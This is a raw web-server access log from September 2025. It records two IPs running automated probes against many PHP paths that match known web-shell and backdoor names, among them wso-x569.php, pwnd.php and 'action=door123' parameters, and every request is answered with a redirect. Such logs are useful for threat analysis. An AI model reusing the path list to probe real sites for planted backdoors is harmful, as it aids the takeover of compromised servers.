157.230.250.62 - - [23/Sep/2025:13:01:09 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:10 -0400] "GET /70.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:01:14 -0400] "GET /71.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:01:19 -0400] "GET /72.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:01:24 -0400] "GET /74.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:01:30 -0400] "GET /fw.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:01:30 -0400] "GET /75.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:01:42 -0400] "GET /wp-content/product.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:01:54 -0400] "GET /wp-login.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:01 -0400] "GET /81.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:05 -0400] "GET /wp-manage0.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:13 -0400] "GET /83.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:17 -0400] "GET /84.php HTTP/1.1" 301 795 "-" "-"
3.9.17.39 - - [23/Sep/2025:13:02:19 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
157.230.250.62 - - [23/Sep/2025:13:02:21 -0400] "GET /owl22.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:24 -0400] "GET /86.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:31 -0400] "GET /wp-managee1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:37 -0400] "GET /91.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:45 -0400] "GET /cloud.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:51 -0400] "GET /95.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:51 -0400] "GET /doc.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:55 -0400] "GET /96.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:00 -0400] "GET /98.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:11 -0400] "GET /19jan.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:11 -0400] "GET /outpull.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:02:17 -0400] "GET /unsets.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
206.189.247.132 - - [23/Sep/2025:13:02:19 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
193.239.84.56 - - [23/Sep/2025:13:02:19 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
146.190.11.185 - - [23/Sep/2025:13:02:20 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36 OPR/120.0.0.0"
196.251.80.56 - - [23/Sep/2025:13:02:21 -0400] "GET /85.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:27 -0400] "GET /89.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:30 -0400] "GET /90.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:40 -0400] "GET /wp-manage1.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:02:41 -0400] "GET /92.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:45 -0400] "GET /93.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:02:48 -0400] "GET /94.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:02:57 -0400] "GET /file.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:06 -0400] "GET /99.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:10 -0400] "GET /license.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:14 -0400] "GET /500.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:26 -0400] "GET /cyl.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:30 -0400] "GET /lord.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:32 -0400] "GET /webdb.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:33 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:43 -0400] "GET /wp-logout.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:44 -0400] "GET /alpas.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:56 -0400] "GET /ucen.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:57 -0400] "GET /wzy.php?action=door123 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:00 -0400] "GET /bypas.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:15 -0400] "GET /mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:19 -0400] "GET /505.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:20 -0400] "GET /moon.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:22 -0400] "GET /303.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:26 -0400] "GET /sgd.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:03:37 -0400] "GET /wp-sigunq.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:37 -0400] "GET /index2.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:42 -0400] "GET /index3.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:47 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:03:49 -0400] "GET /miya.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:03:53 -0400] "GET /ucenhaxor.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:03:54 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:04:04 -0400] "GET /top.php?action=door123 HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:06 -0400] "GET /mari.pdf HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:16 -0400] "GET /wp-content/uploads/wpr-addons/forms/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:18 -0400] "GET /waff.xls HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:20 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:04:21 -0400] "GET /.tmb/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:04:33 -0400] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:33 -0400] "GET /administrator.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:04:38 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:39 -0400] "GET /.well-known/pki-validation/class_api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:04:41 -0400] "GET /class_api.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:50 -0400] "GET /wtukpocc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:52 -0400] "GET /wp-includes/js/500.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:05:00 -0400] "GET /olna0.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:05:15 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:21 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:29 -0400] "GET /wp-includes/SimplePie/file.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:05:31 -0400] "GET /kon.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:35 -0400] "GET /wp-settings.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:05:35 -0400] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:05:41 -0400] "GET /revo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:45 -0400] "GET /revisi.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:04:14 -0400] "GET /byp.csv HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:14 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:04:18 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:21 -0400] "GET /anonsec.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:04:26 -0400] "GET /byp7.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:28 -0400] "GET /phpmailer.lang-sv.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:30 -0400] "GET /bypp.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:04:43 -0400] "GET /wp-includes.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:04:46 -0400] "GET /2bkr1.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:46 -0400] "GET /wso-x569.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:04:56 -0400] "GET /sift.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:04:58 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:08 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:05:13 -0400] "GET /tesTtwo.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:17 -0400] "GET /error_log.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:20 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:25 -0400] "GET /classs.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:35 -0400] "GET /bg_info.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:05:41 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:45 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:50 -0400] "GET /wp-admin/maint/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:05:50 -0400] "GET /admin-bar.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:05:55 -0400] "GET /block.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:09 -0400] "GET /category.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:06:11 -0400] "GET /wp-admin/user/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:05:48 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:06:00 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:06:00 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:14 -0400] "GET /class.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:19 -0400] "GET /theme.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:06:21 -0400] "GET /cgi-bin/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:06:24 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:06:26 -0400] "GET /template.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:30 -0400] "GET /wp-content/_703186064_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:34 -0400] "GET /wp-content/ty.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:38 -0400] "GET /wp-includes/wp-type.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:43 -0400] "GET /wp-includes/customize/session-index.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:46 -0400] "GET /files/gold.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:52 -0400] "GET /files/t.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:06:52 -0400] "GET /wp-admin/network/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:01 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:02 -0400] "GET /wp-admin/css/colors/light/lrwoaindex.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:02 -0400] "GET /xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:10 -0400] "GET /wp-content/uploads/2019/03/March-2019-Enrichment-Calendar-pdf-1024x780.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:07:10 -0400] "GET /.well-known/acme-challenge/output.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:11 -0400] "GET /cgi-bin/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:17 -0400] "GET /assets/socicon/fonts/wp-logo.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:07:22 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:07:29 -0400] "GET /wp-includes/customize/class-wp-customize-code-editor-control.json.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:23 -0400] "GET /vars.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:30 -0400] "GET /wp-content/_1862934497_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:30 -0400] "GET /wp-content/_2624216453_.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:30 -0400] "GET /wp-content/alogova.php HTTP/1.1" 301 795 "-" "-"
196.251.80.56 - - [23/Sep/2025:13:06:30 -0400] "GET /wp-includes/widgets/fofo.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:06:33 -0400] "GET /.well-known/pki-validation/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:06:34 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "-"
157.230.250.62 - - [23/Sep/2025:13:06:37 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/index.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
157.230.250.62 - - [23/Sep/2025:13:06:42 -0400] "GET /.well-known/acme-challenge/xmrlpc.php?p= HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36"
196.251.80.56 - - [23/Sep/2025:13:06:56 -0400] "GET /wp-includes/SimplePie/Cache-stream.php HTTP/1.1" 301 795 "-" "-"
